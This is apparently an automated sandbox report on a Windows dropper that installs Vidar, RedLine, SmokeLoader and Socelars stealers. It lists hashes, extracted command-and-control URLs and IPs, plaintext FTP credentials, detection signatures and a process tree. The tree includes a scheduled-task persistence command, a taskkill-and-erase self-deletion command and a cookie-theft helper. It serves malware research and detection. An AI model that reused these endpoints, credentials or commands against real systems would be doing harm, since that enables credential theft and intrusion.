Resubmissions

13/08/2021, 10:16

210813-wpta271jdx 10

08/08/2021, 23:00

210808-fgs5g9pxfs 10

07/08/2021, 23:12

210807-g2jw1lmd4a 10

07/08/2021, 16:10

210807-51nhct4kfx 10

06/08/2021, 23:43

210806-gc2271nxwj 10

06/08/2021, 06:00

210806-f443x39x8a 10

05/08/2021, 17:08

210805-97y6banvvx 10

04/08/2021, 17:25

210804-hkxx2ntr8x 10

04/08/2021, 12:12

210804-rjbg4b4y7n 10

03/08/2021, 17:12

210803-r2h7ytjwqj 10

Analysis

  • max time kernel
    1803s
  • max time network
    1814s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    06/08/2021, 23:43

General

  • Target

    8 (22).exe

  • Size

    3.0MB

  • MD5

    bb072cad921aa5ce8b97706ce01bc570

  • SHA1

    18bf034906c1341b7817e7361ad27a4425d820bd

  • SHA256

    817a50d00909383bbef41e6f4e61b527d55f0873bcf745b29dbba75f52fe2e97

  • SHA512

    d40e5f77d882ed29bd9de5a6848072e2f81cd02176955e2b1a4aedcdf4eb687d77bebe33cef0c7d702bc828181755f86e2564523d476adbb785f396a5ce1d474

Malware Config

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    files.000webhost.com
  • Port:
    21
  • Username:
    hhh6786
  • Password:
    Sutana666

Extracted

Family

vidar

Version

39.6

Botnet

933

C2

https://sslamlssa1.tumblr.com/

Attributes
  • profile_id

    933

Extracted

Family

smokeloader

Version

2020

C2

http://conceitosseg.com/upload/

http://integrasidata.com/upload/

http://ozentekstil.com/upload/

http://finbelportal.com/upload/

http://telanganadigital.com/upload/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

installs

C2

178.32.202.118:43127

Extracted

Family

vidar

Version

39.9

Botnet

937

C2

https://prophefliloc.tumblr.com/

Attributes
  • profile_id

    937

Extracted

Family

redline

Botnet

Focus1

C2

135.148.139.222:33569

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 4 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE GCleaner Downloader Activity M1

    suricata: ET MALWARE GCleaner Downloader Activity M1

  • suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)

    suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)

  • suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

  • suricata: ET MALWARE Possible Dridex Download URI Struct with no referer

    suricata: ET MALWARE Possible Dridex Download URI Struct with no referer

  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Nirsoft 1 IoCs
  • Vidar Stealer 4 IoCs
  • ASPack v2.12-2.42 8 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Blocklisted process makes network request 56 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 64 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • VMProtect packed file 1 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks BIOS information in registry 2 TTPs 62 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Windows security modification 2 TTPs 2 IoCs
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks for any installed AV software in registry 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 33 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 8 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 51 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 31 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 53 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 16 IoCs
  • NSIS installer 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 15 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 3 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 7 IoCs
  • Modifies data under HKEY_USERS 42 IoCs
  • Modifies registry class 54 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • NTFS ADS 1 IoCs
  • Script User-Agent 13 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 17 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2740
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2720
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
        • Modifies registry class
        PID:2700
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
        1⤵
          PID:2436
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
          1⤵
            PID:2408
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
              PID:1860
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s SENS
              1⤵
                PID:1392
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                1⤵
                  PID:1360
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Themes
                  1⤵
                    PID:1172
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                    1⤵
                      PID:1072
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                      1⤵
                      • Drops file in System32 directory
                      PID:860
                      • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                        C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                        2⤵
                        • Checks BIOS information in registry
                        • Checks whether UAC is enabled
                        • Drops file in System32 directory
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        PID:6904
                      • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                        C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                        2⤵
                        • Checks BIOS information in registry
                        • Checks whether UAC is enabled
                        • Drops file in System32 directory
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        PID:6064
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
                        C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
                        2⤵
                          PID:4288
                          • C:\Windows\SysWOW64\schtasks.exe
                            /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
                            3⤵
                            • Creates scheduled task(s)
                            PID:6820
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:8136
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:5728
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7112
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7260
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:4544
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:6976
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:6820
                        • C:\Windows\system32\rundll32.exe
                          C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\hdvAaRs\hdvAaRs.dll",hdvAaRs
                          2⤵
                          • Windows security modification
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          PID:7296
                        • C:\Users\Admin\AppData\Roaming\veeivgs
                          C:\Users\Admin\AppData\Roaming\veeivgs
                          2⤵
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: MapViewOfSection
                          PID:7344
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7952
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7388
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7792
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:5792
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:5360
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:5032
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7556
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7840
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:1368
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7536
                        • C:\Users\Admin\AppData\Roaming\veeivgs
                          C:\Users\Admin\AppData\Roaming\veeivgs
                          2⤵
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: MapViewOfSection
                          PID:3860
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7620
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7676
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7976
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:4640
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:5288
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:5220
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7696
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:7916
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:5504
                        • C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          C:\Users\Admin\AppData\Roaming\x86_wpf-presentationhostdll_31bf3856ad364e35_6.1.7601.23403_none_72a612359757f848\urlmon.exe
                          2⤵
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Drops file in System32 directory
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:6336
                        • C:\Users\Admin\AppData\Roaming\veeivgs
                          C:\Users\Admin\AppData\Roaming\veeivgs
                          2⤵
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: MapViewOfSection
                          PID:5944
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                        1⤵
                          PID:992
                        • C:\Users\Admin\AppData\Local\Temp\8 (22).exe
                          "C:\Users\Admin\AppData\Local\Temp\8 (22).exe"
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:492
                          • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                            "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:2796
                            • C:\Users\Admin\AppData\Local\Temp\7zSCEA2AB04\setup_install.exe
                              "C:\Users\Admin\AppData\Local\Temp\7zSCEA2AB04\setup_install.exe"
                              3⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious use of WriteProcessMemory
                              PID:2032
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c sonia_1.exe
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1632
                                • C:\Users\Admin\AppData\Local\Temp\7zSCEA2AB04\sonia_1.exe
                                  sonia_1.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Suspicious use of WriteProcessMemory
                                  PID:4064
                                  • C:\Users\Admin\AppData\Local\Temp\7zSCEA2AB04\sonia_1.exe
                                    "C:\Users\Admin\AppData\Local\Temp\7zSCEA2AB04\sonia_1.exe" -a
                                    6⤵
                                    • Executes dropped EXE
                                    PID:4240
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c sonia_2.exe
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1136
                                • C:\Users\Admin\AppData\Local\Temp\7zSCEA2AB04\sonia_2.exe
                                  sonia_2.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Checks SCSI registry key(s)
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious behavior: MapViewOfSection
                                  PID:3136
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c sonia_3.exe
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1284
                                • C:\Users\Admin\AppData\Local\Temp\7zSCEA2AB04\sonia_3.exe
                                  sonia_3.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Modifies system certificate store
                                  PID:3120
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 928
                                    6⤵
                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                    • Program crash
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1124
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c sonia_4.exe
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2008
                                • C:\Users\Admin\AppData\Local\Temp\7zSCEA2AB04\sonia_4.exe
                                  sonia_4.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1400
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c sonia_5.exe
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3872
                                • C:\Users\Admin\AppData\Local\Temp\7zSCEA2AB04\sonia_5.exe
                                  sonia_5.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Checks computer location settings
                                  PID:2812
                                  • C:\Users\Admin\Documents\kD_dze5VDT5mUsyRO_QJaQFM.exe
                                    "C:\Users\Admin\Documents\kD_dze5VDT5mUsyRO_QJaQFM.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    PID:4888
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c taskkill /im "kD_dze5VDT5mUsyRO_QJaQFM.exe" /f & erase "C:\Users\Admin\Documents\kD_dze5VDT5mUsyRO_QJaQFM.exe" & exit
                                      7⤵
                                      • Executes dropped EXE
                                      • Drops file in Program Files directory
                                      PID:4832
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /im "kD_dze5VDT5mUsyRO_QJaQFM.exe" /f
                                        8⤵
                                        • Kills process with taskkill
                                        PID:5320
                                  • C:\Users\Admin\Documents\EPMoZQqrnjM8KAOgIadu0Dpw.exe
                                    "C:\Users\Admin\Documents\EPMoZQqrnjM8KAOgIadu0Dpw.exe"
                                    6⤵
                                      PID:4832
                                      • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                        "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • Checks whether UAC is enabled
                                        PID:1568
                                      • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                                        "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        PID:1648
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          8⤵
                                          • Executes dropped EXE
                                          PID:5364
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          8⤵
                                          • Executes dropped EXE
                                          PID:5156
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          8⤵
                                            PID:8004
                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                            8⤵
                                              PID:7712
